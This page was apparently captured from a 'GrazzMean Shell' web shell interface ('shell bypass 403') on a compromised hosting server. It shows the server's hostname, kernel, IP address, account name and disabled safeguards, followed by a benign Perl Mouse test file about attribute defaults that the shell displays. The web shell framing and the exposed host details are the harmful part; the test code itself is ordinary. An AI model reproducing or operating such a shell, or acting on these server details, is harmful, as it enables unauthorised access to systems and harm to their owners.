shell bypass 403

GrazzMean Shell

: /usr/share/doc/perl-Mouse/t/100_bugs/ [ drwxr-xr-x ]
Uname: Linux web3.us.cloudlogin.co 5.10.226-xeon-hst #2 SMP Fri Sep 13 12:28:44 UTC 2024 x86_64
Software: Apache
PHP version: 8.1.31 [ PHP INFO ] PHP os: Linux
Server Ip: 162.210.96.117
Your Ip: 3.135.221.122
User: edustar (269686) | Group: tty (888)
Safe Mode: OFF
Disable Function:
NONE

name : 010_immutable_n_default_x2.t
#!/usr/bin/perl
# This is automatically generated by author/import-moose-test.pl.
# DO NOT EDIT THIS FILE. ANY CHANGES WILL BE LOST!!!
use lib "t/lib";
use MooseCompat;

use strict;
use warnings;

use Test::More;


{
    package Foo;
    use Mouse;

    our $foo_default_called = 0;

    has foo => (
        is      => 'rw',
        isa     => 'Str',
        default => sub { $foo_default_called++; 'foo' },
    );

    our $bar_default_called = 0;

    has bar => (
        is      => 'rw',
        isa     => 'Str',
        lazy    => 1,
        default => sub { $bar_default_called++; 'bar' },
    );

    __PACKAGE__->meta->make_immutable;
}

my $foo = Foo->new();

is($Foo::foo_default_called, 1, "foo default was only called once during constructor");

$foo->bar();

is($Foo::bar_default_called, 1, "bar default was only called once when lazy attribute is accessed");

done_testing;
© 2025 GrazzMean